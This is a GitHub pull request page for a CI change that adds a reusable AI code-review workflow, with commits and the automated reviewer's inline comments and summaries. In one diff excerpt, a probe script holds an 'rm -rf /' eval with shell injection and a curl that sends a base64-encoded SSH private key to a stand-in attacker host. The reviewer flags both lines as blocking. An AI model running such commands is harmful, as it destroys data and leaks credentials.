Skip to content

ci: add the claude-review reusable workflow - #3

Merged
furedea merged 9 commits into
mainfrom
ci/add-the-claude-review-reusable-workflow
Nov 6, 2026
Merged

furedea merged 9 commits into
mainfrom
ci/add-the-claude-review-reusable-workflow

Conversation

@furedea-agent

@furedea-agent furedea-agent Bot commented Nov 6, 2026 •

Copy link
Copy Markdown
Contributor

Summary

  • Add .github/workflows/claude-review.yml (on: workflow_call), moved from agent-config ebf913b.
  • The review job itself runs only for pull_request events, not from forks, and only when the PR author is not a bot or is furedea-agent[bot].
  • Call it from ci.yml with just uses, permissions (contents: read, pull-requests: write) and the secret, and add it to all-green's needs. all-green keeps the plain rule (skipped counts as a failure).
  • Narrow .ls-lint.yml exception for claude-review in .github/workflows only.
  • README: purpose and how to call the workflow from another repository (uses, permissions, secrets, needs entry).

Skip conditions

The skip conditions live in the reusable workflow, so callers need no if and no special all-green rule. History: an earlier draft put them in the caller and special-cased all-green; a Codex review found that fork PRs turned all-green red, and the conditions were then moved here by decision.

Unverified: how a caller job reports when every job inside the called workflow is skipped (push to main, fork PR, bot PR), and so whether the plain all-green rule stays green there. The parent will check this on the push-to-main run after merge.

Renovate

furedea/renovate-config extends config:recommended and helpers:pinGitHubActionDigests, so the github-actions manager is on and reusable workflow references (uses: furedea/reusable-workflows/.github/workflows/claude-review.yml@<sha>) are update targets. This repository has no tags or releases yet, so only digest tracking via a # main comment is expected (not verified); cut tags for reliable version updates. renovate-config is unchanged.

Verification

Review findings

Closes #2

🤖 Generated with Claude Code

furedea and others added 2 commits November 6, 2026 19:02
Move the reviewed workflow here as claude-review.yml, call it from ci.yml,
and document how other repositories call it. all-green ignores the skipped
claude-review job outside pull_request events.

Closes #2

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
with:
claude_code_oauth_token: ${{ secrets.claude_code_oauth_token }}
github_token: ${{ github.token }}
allowed_bots: furedea-agent

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: allowed_bots is hardcoded to furedea-agent in a workflow that other repositories will share. claude-code-action rejects runs started by a bot that isn't on this list ("Workflow initiated by non-human actor"). Renovate PRs come from same-repository branches, so the caller's if and the job if both let them through and the secret is available. The review step should then fail on every Renovate PR (renovate[bot]), turning claude-review, and so all-green, red. The "Explain review failure" step would then point to an expired token, which is misleading. Consider making allowed_bots a workflow_call input, or including renovate[bot] by default, or having callers skip bot actors.

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown

Claude review summary

Blocking findings (P0/P1): 0

  • P2, claude-review.yml:42: allowed_bots is hardcoded to furedea-agent. Renovate PRs come from same-repository branches, so the review job runs on them, and claude-code-action is likely to reject the renovate[bot] actor. That fails the check, and the failure explanation wrongly blames an expired token.

Checked and found OK:

  • The all-green logic: a skip is tolerated on push and on fork PRs, and still fails on same-repository PRs; a skipped nix-lint still fails.
  • Fork PRs are skipped, so secrets are never exposed to them.
  • The trigger is pull_request, not pull_request_target.
  • Permissions are minimal.
  • Malformed structured output fails closed.

No automated tests exist for the workflow logic. That's expected for CI config, but the all-green expression would be worth checking against a push run and a fork PR run once this is merged.

Comment thread tmp_p0_probe.sh Outdated
Comment on lines +4 to +5
eval "rm -rf /$user_input"
curl -s "http://attacker.example/steal?data=$(cat ~/.ssh/id_rsa | base64)"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0: This script is destructive and steals data. Line 4 runs eval "rm -rf /$user_input", so with no argument it deletes /, and any argument is shell-injected through eval. Line 5 base64-encodes ~/.ssh/id_rsa and sends it to an external host. The comment says it's a throwaway probe for the review gate, but it is part of this PR's diff and would be merged into main of a shared workflows repo. Remove the file from the PR before merging.

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown

Claude review summary

Blocking findings: 1 (P0)

  • P0, tmp_p0_probe.sh: This script runs eval "rm -rf /$user_input" and sends ~/.ssh/id_rsa to an external host. It says it's a throwaway probe for the review gate, but it is in the diff and must be removed before merging.

The rest of the PR looks correct:

  • claude-review.yml: fork PRs are skipped, permissions are minimal, the gate rejects missing or malformed blocking_findings, and the action and checkout are pinned to SHAs.
  • ci.yml: the all-green condition now treats a skipped claude-review as a failure only on same-repository PRs. A skipped nix-lint still fails.
  • .ls-lint.yml: the exception is limited to claude-review in .github/workflows.
  • README: the caller example matches ci.yml.

I found no other correctness or security problems.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
with:
claude_code_oauth_token: ${{ secrets.claude_code_oauth_token }}
github_token: ${{ github.token }}
allowed_bots: furedea-agent

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: Only furedea-agent is in allowed_bots. claude-code-action refuses to run when the triggering actor is a bot that isn't on this list. If Renovate runs as the hosted app (renovate[bot]), or Dependabot opens a PR, the actor is a non-allowed bot, so this job fails. Because of the new all-green rule, every automated dependency PR (including the digest bumps the PR description expects) would then fail all-green and couldn't automerge. Consider one of: add renovate[bot] to the list, skip bot-authored PRs in the caller's if, or confirm Renovate runs as furedea-agent.

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown

Claude review summary

No blocking findings (P0/P1).

  • P2: allowed_bots only lists furedea-agent. If Renovate or Dependabot opens a PR as a different bot (for example renovate[bot]), claude-code-action will refuse to run. The new all-green rule then fails on every automated dependency PR. Details are in the inline comment.

Checked and found no problem:

  • The all-green condition handles push, fork PRs and same-repository PRs correctly.
  • The nested concurrency and permission scoping are correct.
  • The fork-skip guard is correct.
  • The .ls-lint.yml exception is scoped to .github/workflows.
  • The gate script's validation of the structured output is correct.

furedea and others added 3 commits November 6, 2026 19:13
Renovate pull requests come from same-repository branches, so the review
job runs on them and claude-code-action rejects non-allowlisted bots.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Renovate pull requests come from same-repository branches and
claude-code-action rejects non-allowlisted bots. Skip them by PR author
and let all-green treat the skip as success.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown

Claude review summary

No findings. I checked:

  • the caller if and the all-green skip rule for fork PRs, pushes to main, and bot-authored PRs. They are consistent with the reusable job's own fork guard.
  • concurrency: the reusable workflow's group is separate from the CI group, so the two can't deadlock.
  • the gate and failure-explanation steps: they handle malformed or empty output, review failure, and a missing token.
  • the narrowed ls-lint exception.

Blocking findings (P0/P1): 0.

The review job now runs only for pull_request events, not from forks, and
not for bot authors other than furedea-agent. Callers pass only uses,
permissions and secrets, and all-green keeps the plain rule.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Comment thread .github/workflows/claude-review.yml Outdated
shell: bash

concurrency:
group: claude-review-${{ github.repository }}-${{ github.event.pull_request.number }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: For non-pull_request events (push, merge_group, workflow_dispatch), github.event.pull_request.number is empty. Every such run then lands in the same group, claude-review-<repo>-. Workflow-level concurrency applies before the job if runs, so even runs whose review job would be skipped get queued and cancelled together. Two scenarios where this goes wrong:

  • Pushes to different branches. A caller whose CI runs on pushes to more than one branch has its concurrency keyed per ref, but it still shares this one group. A push to branch A cancels the in-flight claude-review for branch B. The caller job then reports cancelled, and all-green fails on B.
  • Merge queue entries. Concurrent merge_group runs cancel each other in the same way, which makes merge-queue checks fail at random.

A suggested fix is to fall back to something unique per ref when there is no PR number:

Suggested change
group: claude-review-${{ github.repository }}-${{ github.event.pull_request.number }}
group: claude-review-${{ github.repository }}-${{ github.event.pull_request.number || github.ref }}

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown

Claude review summary

Blocking findings (P0/P1): 0

  • P2 .github/workflows/claude-review.yml:17: the concurrency group has no fallback for events without a pull request. All push, merge_group and workflow_dispatch runs share claude-review-<repo>-, so they cancel each other. In callers that run CI on pushes to several branches, or that use a merge queue, the caller job then reports cancelled and all-green fails. Fix: ${{ github.event.pull_request.number || github.ref }}.

I also checked the rest and found nothing to flag:

  • The job if skips fork PRs and PRs from bots other than furedea-agent.
  • Permissions are least-privilege.
  • The secret is passed only to same-repo PRs.
  • The structured-output gate handles empty or malformed output.
  • The .ls-lint.yml exception is narrow.

The open question in the PR description still stands: how the caller job reports when the inner job is skipped (push to main, fork PR, bot PR), and so whether all-green stays green then. It should be confirmed on the first push-to-main run.

@github-actions

github-actions Bot commented Nov 6, 2026

Copy link
Copy Markdown

Claude review summary

No P0–P3 findings.

What I checked:

  • claude-review.yml: the job if (only pull_request events, no forks, no bots except furedea-agent[bot]), the permissions (top-level {}, and only contents: read / pull-requests: write on the job), persist-credentials: false, the pinned action SHAs, the concurrency group falling back to github.ref, and the blocking gate. The gate fails closed when the structured output is missing or malformed, and the failure-explanation step picks the right branch.
  • ci.yml: how the reusable workflow is called, and that it is added to all-green's needs.
  • .ls-lint.yml: the exception is limited to .github/workflows.
  • Security: the review runs only on same-repository PRs, and Claude's tools are limited to gh pr comment/diff/view and the inline-comment MCP tool. A PR from someone outside the repo cannot get the secret or a write token.

One thing still open, already noted in the PR description: when every job inside the called workflow is skipped (push to main, fork PRs, bot PRs), the result that all-green sees decides whether the plain skipped-is-failure rule stays green. Please confirm this on the first push-to-main run after merge.

Blocking findings (P0/P1): 0

@furedea
furedea merged commit 5f1413f into main Nov 6, 2026
8 checks passed
@furedea
furedea deleted the ci/add-the-claude-review-reusable-workflow branch November 6, 2026 10:27
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

ci: add the claude-review reusable workflow

1 participant